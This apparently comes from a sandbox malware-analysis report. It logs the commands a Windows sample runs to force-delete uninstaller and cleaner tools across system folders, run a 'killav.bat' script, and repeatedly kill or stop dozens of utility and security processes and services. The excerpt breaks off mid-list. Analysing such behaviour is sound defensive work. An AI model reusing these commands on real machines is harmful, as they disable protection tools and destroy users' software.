C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\msicuu.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\msicuu2.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*Easy*remove*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*CCleaner*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*geek*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*cad*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*iobit*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*cadallclear*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*UninstallTool*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*Dism++*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "C:\\*Total*Uninstal*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\msicuu2.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\msicuu.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\*Easy*remove*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\*CCleaner*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\*geek*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\*cad*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\*iobit*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\*cadallclear*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\*Dism++*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\$Recycle.Bin\*Total*Uninstal*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\msicuu2.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\msicuu.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\*Easy*remove*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\*CCleaner*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\*geek*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\*cad*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\*cadallclear*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\*iobit*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\*Dism++*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Documents and Settings\*Total*Uninstal*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\msicuu2.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\*Easy*remove*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\msicuu.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\*CCleaner*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\*geek*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\*cad*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\*iobit*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\*cadallclear*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\*Dism++*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\MSOCache\*Total*Uninstal*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\msicuu2.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\msicuu.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\*Easy*remove*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\*CCleaner*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\*cad*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\*geek*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\*cadallclear*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\*Dism++*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\*iobit*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files\*Total*Uninstal*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\msicuu2.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\msicuu.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\*cad*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\*geek*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\*cadallclear*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\*CCleaner*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\*Easy*remove*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\*iobit*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\*Total*Uninstal*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Program Files (x86)\*Dism++*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\msicuu2.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\msicuu.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\*Easy*remove*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\*CCleaner*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\*geek*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\*cad*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\*cadallclear*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\*iobit*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\*Total*Uninstal*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\ProgramData\*Dism++*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\msicuu2.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\msicuu.*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\*Easy*remove*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\*CCleaner*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\*geek*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\*cad*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\*cadallclear*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\*iobit*uninstall*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\*Dism++*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /A /Q "C:\Users\*Total*Uninstal*"7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /B C:\\*AUTO*Uninstaller*7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /S /B C:\$Recycle.Bin\*AUTO*Uninstaller*7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /S /B C:\Documents and Settings\*AUTO*Uninstaller*7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /S /B C:\MSOCache\*AUTO*Uninstaller*7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /S /B C:\Program Files\*AUTO*Uninstaller*7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /S /B C:\Program Files (x86)\*AUTO*Uninstaller*7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /S /B C:\ProgramData\*AUTO*Uninstaller*7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /S /B C:\Users\*AUTO*Uninstaller*7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C killav.bat6⤵
-
C:\Windows\system32\choice.exeCHOICE /T 1 /D y /n7⤵
-
C:\Windows\system32\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\find.exefind /i "aioc4.exe"7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360bpsvc.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "360huabao.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "360wpsrv.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "ABCtpoprytx.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "AU_CN.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "bqpb.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "Cleaner One.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "ComputerZService.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "convHelper.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "convServer.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "convSpeedup.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "Dwight.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3Protect.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "ECAgent.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "escsvc64.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "fastpic.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "FeiRarNews.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "fpprotect.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "FZip.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "geek.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloDesktop64.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloSearch.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTheme.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTray.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSDRServer.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSSU.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "Jsbyptp.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "KGPMService.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "ktpb.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "kvipgui.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "kzyptp.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "kdeskcore.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "keyemain.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaper.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaperex.exe" /f7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill /im "LDSGameHall.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LockApp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "lsmain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Margot.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "mctray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "MelonTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pbxhone.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfspeedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdholder.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "QuickSeeTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "speedup.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "vip.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "vrol.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WpTinyTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRSvn.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRtlname.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRUtest.exe" /f7⤵
-
C:\Windows\system32\sc.exesc stop "360bpsvc"7⤵
-
C:\Windows\system32\sc.exesc stop "convServer"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3Protect"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasyAntiCheat"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EpsonScanSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "FastPDFSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "iOSDRServer"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "KGPMSYS"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "kzipservice"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "masterPDF_Server"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "QuickSeeSvc"7⤵
-
C:\Windows\system32\sc.exesc stop "SangforSP"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "VRLService"7⤵
-
C:\Windows\system32\sc.exesc stop "WRSvnV1"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "wrzipservice"7⤵
-
C:\Windows\system32\choice.exeCHOICE /T 1 /D y /n7⤵
-
C:\Windows\system32\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\find.exefind /i "aioc4.exe"7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360bpsvc.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360huabao.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360wpsrv.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ABCtpoprytx.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "AU_CN.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "bqpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Cleaner One.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ComputerZService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convHelper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convSpeedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Dwight.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3Protect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ECAgent.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "escsvc64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "fastpic.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FeiRarNews.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "fpprotect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FZip.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "geek.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloDesktop64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloSearch.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTheme.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSDRServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSSU.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Jsbyptp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "KGPMService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ktpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kvipgui.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kzyptp.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "kdeskcore.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "keyemain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaperex.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LDSGameHall.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LockApp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "lsmain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Margot.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "mctray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "MelonTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pbxhone.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfspeedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdholder.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "QuickSeeTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "speedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vip.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vrol.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WpTinyTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRSvn.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRtlname.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "WRUtest.exe" /f7⤵
-
C:\Windows\system32\sc.exesc stop "360bpsvc"7⤵
-
C:\Windows\system32\sc.exesc stop "convServer"7⤵
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3Protect"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasyAntiCheat"7⤵
-
C:\Windows\system32\sc.exesc stop "EpsonScanSvc"7⤵
-
C:\Windows\system32\sc.exesc stop "FastPDFSvc"7⤵
-
C:\Windows\system32\sc.exesc stop "iOSDRServer"7⤵
-
C:\Windows\system32\sc.exesc stop "KGPMSYS"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "kzipservice"7⤵
-
C:\Windows\system32\sc.exesc stop "masterPDF_Server"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "QuickSeeSvc"7⤵
-
C:\Windows\system32\sc.exesc stop "SangforSP"7⤵
-
C:\Windows\system32\sc.exesc stop "VRLService"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "WRSvnV1"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "wrzipservice"7⤵
-
C:\Windows\system32\choice.exeCHOICE /T 1 /D y /n7⤵
-
C:\Windows\system32\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\find.exefind /i "aioc4.exe"7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360bpsvc.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360huabao.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360wpsrv.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ABCtpoprytx.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "AU_CN.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "bqpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Cleaner One.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ComputerZService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convHelper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convServer.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "convSpeedup.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "Dwight.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3Protect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ECAgent.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "escsvc64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "fastpic.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FeiRarNews.exe" /f7⤵
-
